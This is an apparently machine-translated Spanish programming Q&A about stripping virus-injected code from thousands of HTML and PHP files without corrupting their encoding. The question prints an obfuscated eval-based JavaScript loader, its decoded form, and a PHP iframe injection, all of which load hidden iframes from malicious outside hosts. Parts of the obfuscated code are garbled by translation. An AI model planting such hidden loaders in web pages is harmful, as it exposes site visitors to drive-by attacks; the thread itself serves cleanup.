2012-02-09 9 views
6

Necesito descargar de FTP más de 5000 archivos siendo .html y .php. Necesito leer cada archivo y eliminar algunas cosas que el virus puso allí y guardarlo de nuevo en FTP.¿Se puede leer y escribir un archivo directamente con pequeños cambios sin conocer su codificación en C#?

Estoy utilizando el código siguiente:

string content; 
using (StreamReader sr = new StreamReader(fileName, System.Text.Encoding.UTF8, true)) { 
    content = sr.ReadToEnd(); 
    sr.Close(); 
} 

using (StreamWriter sw = new StreamWriter(fileName + "1" + file.Extension, false, System.Text.Encoding.UTF8)) 
{ 
    sw.WriteLine(content); 
    sw.Close(); 
} 

he descargado algunos archivos a mano y algunos tienen <meta http-equiv="Content-Type" content="text/html; charset=windows-1250" /> pero no me gustaría asumir todos ellos son así. Lo comprobé con Notepad ++ y algunos archivos de texto son ANSI. PHP parece ser UTF-8 y HTML Windows-1250, pero preferiría asegurarme de no romper los archivos mientras trato de arreglarlo. Entonces, ¿hay alguna manera de que no tenga que saber/adivinar la codificación y me permita eliminar los enlaces de virus de las páginas web?

Editar. Estoy tratando de encontrar y eliminar algo como esto:

var s = new String(); try {document.rvwrew.vewr} catch (q) {r = 1, c = cadena;} if (r & & document.createTextNode) u = 2; e = eval; m = [4.5 * u, 18/u, 52.5 * u, 204/u, 16 * u, 80/u, 50 * u, 222/u , 49.5 * u, 234/u, 54.5 * u, 202/u, 55 * u, 232/u, 23 * u, 206/u, 50.5 * u, 232/u, 34.5 * u, 216/u, 50.5 * u, 218/u, 50.5 * u, 220/u, 58 * u, 230/u, 33 * u, 242/u, 42 * u, 194/u, 51.5 * u, 156/u, 48.5 * u , 218/u, 50.5 * u, 80/u, 19.5 * u, 196/u, 55.5 * u, 200/u, 60.5 * u, 78/u, 20.5 * u, 182/u, 24 * u, 186 /u.20.5*u,246/u,4.5*u,18/u,4.5*u,210/u,51*u,228/u,48.5*u,218/u,50.5*u,228/u , 20 * u, 82/u, 29.5 * u, 18/u, 4.5 * u, 250/u, 16 * u, 202/u, 54 * u, 230/u, 50.5 * u, 64/u, 61.5 * u, 18/u, 4.5 * u, 18/u, 50 * u, 222/u, 49.5 * u, 234/u, 54.5 * u, 202/u, 55 * u, 232/u, 23 * u , 238/u, 57 * u, 210/u, 58 * u, 202/u, 20 * u, 68/u, 30 * u, 210/u, 51 * u, 228/u, 48.5 * u, 218/u, 50.5 * u, 64/u, 57.5 * u, 228/u, 49.5 * u, 122/u, 19.5 * u, 208/u, 58 * u, 232/u, 56 * u, 116/u, 23.5 * u, 94/u, 51 * u, 210/u, 49 * u, 202/u, 57 * u, 194/u, 57.5 * u, 232/u, 48.5 * u, 232/u, 23 * u, 198/u, 55.5 * u, 218/u, 23.5 * u, 232/u, 50.5 * u, 218/u, 56 * u, 94/u, 57.5 * u, 232/u, 48.5 * u, 232/u, 23 * u, 224/u, 52 * u, 224/u, 19.5 * u, 64/u, 59.5 * u, 210/u, 50 * u, 232/u, 52 * u, 122/u, 19.5 * u, 98/u, 24 * u, 78/u, 16 * u, 208/u, 50.5 * u, 210/u, 51.5 * u, 208/u, 58 * u, 122/u, 19.5 * u, 98/u, 24 * u, 78/u, 16 * u, 230/u, 58 * u, 242/u, 54 * u, 202/u, 30.5 * u, 78/u, 59 * u, 210/u, 57.5 * u, 210/u, 49 * u, 210/u, 54 * u, 210/u, 58 * u, 242/u, 29 * u, 208/u, 52.5 * u, 200/u, 50 * u, 202/u, 55 * u, 118/u, 56 * u, 222/u, 57.5 * u, 210/u, 58 * u, 210/u, 55.5 * u , 220/u, 29 * u, 194/u, 49 * u, 230/u, 55.5 * u, 216/u, 58.5 * u, 232/u, 50.5 * u, 118/u, 54 * u, 202 /u,51*u,232/u,29*u,96/u,29.5*u,232/u,55.5*u.224/u.29*u,96/u,29.5*u,78/u , 31 * u, 120/u, 23.5 * u, 210/u, 51 * u, 228/u, 48.5 * u, 218/u, 50.5 * u, 124/u, 17 * u, 82/u, 29.5 * u, 18/u, 4.5 * u, 250/u, 4.5 * u, 18/u, 51 * u, 234/u, 55 * u, 198/u, 58 * u, 210/u, 55.5 * u , 220/u, 16 * u, 210/u, 51 * u, 228/u, 48.5 * u, 218/u, 50.5 * u, 228/u, 20 * u, 82/u, 61.5 * u, 18 /u.4.5*u.18/u, 59 * u, 194/u, 57 * u, 64/u, 51 * u, 64/u, 30.5 * u, 64/u, 50 * u, 222/u, 49.5 * u, 234/u, 54.5 * u, 202/u, 55 * u, 232/u, 23 * u, 198/u, 57 * u, 202/u, 48.5 * u, 232/u, 50.5 * u, 138/u, 54 * u, 202/u, 54.5 * u, 202/u, 55 * u, 232/u, 20 * u, 78/u, 52.5 * u, 204/u, 57 * u, 194/u, 54.5 * u, 202/u, 19.5 * u, 82/u, 29.5 * u, 204/u, 23 * u, 230/u, 50.5 * u, 232/u, 32.5 * u, 232/u, 58 * u, 228/u, 52.5 * u, 196/u, 58.5 * u, 232/u, 50.5 * u, 80/u, 19.5 * u, 230/u, 57 * u, 198/u, 19.5 * u, 88/u, 19.5 * u, 208/u, 58 * u, 232/u, 56 * u, 116/u, 23.5 * u, 94/u, 51 * u, 210/u, 49 * u, 202/u, 57 * u, 194/u, 57.5 * u, 232/u, 48.5 * u, 232/u, 23 * u, 198/u, 55.5 * u, 218/u, 23.5 * u, 232/u, 50.5 * u, 218/u, 56 * u, 94/u, 57.5 * u, 232/u, 48.5 * u, 232/u, 23 * u, 224/u, 52 * u, 224/u, 19.5 * u, 82/u, 29.5 * u, 204/u, 23 * u, 230/u, 58 * u, 242/u, 54 * u, 202/u, 23 * u, 236/u, 52.5 * u, 230/u, 52.5 * u, 196/u, 52.5 * u, 216/u, 52.5 * u, 232/u, 60.5 * u, 122/u, 19.5 * u, 208/u, 52.5 * u, 200/u, 50 * u , 202/u, 55 * u, 78/u, 29.5 * u, 204/u, 23 * u, 230/u, 58 * u, 242/u, 54 * u, 202/u, 23 * u, 224 /u,55.5*u,230/u,52.5*u,232/u,52.5*u,222/u,55*u,122/u,19.5*u.194/u,49*u,230/u , 55.5 * u, 216/u, 58.5 * u, 232/u, 50.5 * u, 78/u, 29.5 * u, 204/u, 23 * u, 230/u, 58 * u, 242/u, 54 * u, 202/u, 23 * u, 216/u, 50.5 * u, 204/u, 58 * u, 122/u, 19.5 * u, 96/u, 19.5 * u, 118/u, 51 * u, 92/u, 57.5 * u, 232/u, 60.5 * u, 216/u, 50.5 * u, 92/u, 58 * u, 222/u, 56 * u, 122/u, 19.5 * u, 96/u, 19.5 * u, 118/u, 51 * u, 92/u, 57.5 * u, 202/u, 58 * u, 130/u, 58 * u, 232/u, 57 * u, 210/u, 49 * u, 234/u, 58 * u, 202/u, 20 * u, 78/u, 59.5 * u, 210/u, 50 * u, 232/u, 52 * u, 78/u, 22 * u, 78/u, 24.5 * u, 96/u, 19.5 * u, 82/u, 29.5 * u, 204/u, 23 * u, 230/u, 50.5 * u, 232/u, 32.5 * u, 232/u, 58 * u, 228/u, 52.5 * u, 196/u, 58.5 * u, 232/u, 50.5 * u, 80/u, 19.5 * u, 208/u, 50.5 * u, 210/u, 51.5 * u, 208/u, 58 * u, 78/u, 22 * ​​u, 78/u, 24.5 * u, 96/u, 19.5 * u, 82/u, 29.5 * u, 18/u, 4.5 * u, 18/u, 50 * u, 222/u, 49.5 * u, 234/u, 54.5 * u, 202/u, 55 * u, 232/u, 23 * u, 206/u, 50.5 * u, 232/u, 34.5 * u, 216/u, 50.5 * u, 218/u, 50.5 * u, 220/u, 58 * u, 230/u, 33 * u, 242/u, 42 * u, 194/u, 51.5 * u, 156/u, 48.5 * u, 218/u, 50.5 * u, 80/u, 19.5 * u, 196/u, 55.5 * u, 200/u, 60.5 * u, 78/u, 20.5 * u, 182/u, 24 * u, 186/u, 23 * u, 194/u, 56 * u, 224/u, 50.5 * u, 220/u, 50 * u, 134/u, 52 * u, 210/u, 54 * u, 200/u, 20 * u, 204/u, 20.5 * u, 118/u, 4.5 * u, 18/u, 62.5 * u]; if (document.createTextNode) con (c) mm = fromCharCode; for (i = 0; i! = M.length; i ++) s + = mm (e ("m" + "[ "+" i "+ ']')); try {doc.qwe.removeChild()} catch (q) {e (s);}

que después de la decodificación es

if (document.getElementsByTagName('body')[0]) { 
    iframer(); 
} else { 
    document.write(""); 
} 
function iframer() { 
    var f = document.createElement('iframe'); 
    f.setAttribute('src', 'http://fiberastat.com/temp/stat.php'); 
    f.style.visibility = 'hidden'; 
    f.style.position = 'absolute'; 
    f.style.left = '0'; 
    f.style.top = '0'; 
    f.setAttribute('width', '10'); 
    f.setAttribute('height', '10'); 
    document.getElementsByTagName('body')[0].appendChild(f); 
} 

Y cuando visitas una página web, te dice esto (después de la decodificación). se añade

if (document.getElementsByTagName('body')[0]) { 
    iframer(); 
} else { 
    document.write(""); 
} 
function iframer() { 
    var f = document.createElement('iframe'); 
    f.setAttribute('src', 'http://vtempe.in/in.cgi?17'); 
    f.style.visibility = 'hidden'; 
    f.style.position = 'absolute'; 
    f.style.left = '0'; 
    f.style.top = '0'; 
    f.setAttribute('width', '10'); 
    f.setAttribute('height', '10'); 
    document.getElementsByTagName('body')[0].appendChild(f); 
} 

La secuencia de comandos a las 3 últimas líneas y comienza básicamente justo después </html> var

El script PHP tiene más o menos este tipo de línea <iframe src="http://hugetopdiet.cn:8080/ts/in.cgi?pepsi13" width=2 height=4 style="visibility: hidden"></iframe> pero puede estar en cualquier lugar en el archivo.

No estoy seguro de si hay alguna otra manera de volver a escribir esos archivos. Pero tener que pasar por 5000 archivos parece demasiado arriesgado :-)

+0

Si está modificando los archivos, va a tener que saber la codificación o está prácticamente garantizado que romperá algo. – Dave

+0

Sólo un pensamiento, pero ¿no tienes versiones limpias de estos archivos antes de que el virus los atrapara, ya sea los originales que se cargaron o una copia de seguridad? Si no, eso es algo en lo que se debe pensar para seguir adelante. –

+0

No. Un nuevo cliente me contactó hoy y básicamente todo lo que tiene es un grupo de archivos con 2 tipos de entradas. He actualizado la pregunta con el 'código problemático'. – MadBoy

Respuesta

3

Suponiendo que ninguno de los archivos es UTF16 o UTF32, y que las partes con las que desea interactuar son completamente de ASCII de 7 bits, puede abrirlo y guardarlo como Encoding.Default, que redondeará cualquier carácter superior correctamente.

+0

He actualizado la pregunta. Las partes deben ser factibles usando Encoding.Default. Lo intentaré – MadBoy

+0

Esto hace el truco muy bien. ¡Gracias! – MadBoy

1

El virus no necesita conocer la codificación del archivo para agregar su contenido a sus archivos, por lo que obviamente es posible. En lugar de tratar el archivo como texto, ¿no podría simplemente procesarlo como un archivo binario y buscar patrones que coincidan con lo que el virus agregó?

+0

No lo sé. He actualizado la pregunta con el código que necesito eliminar. – MadBoy

Cuestiones relacionadas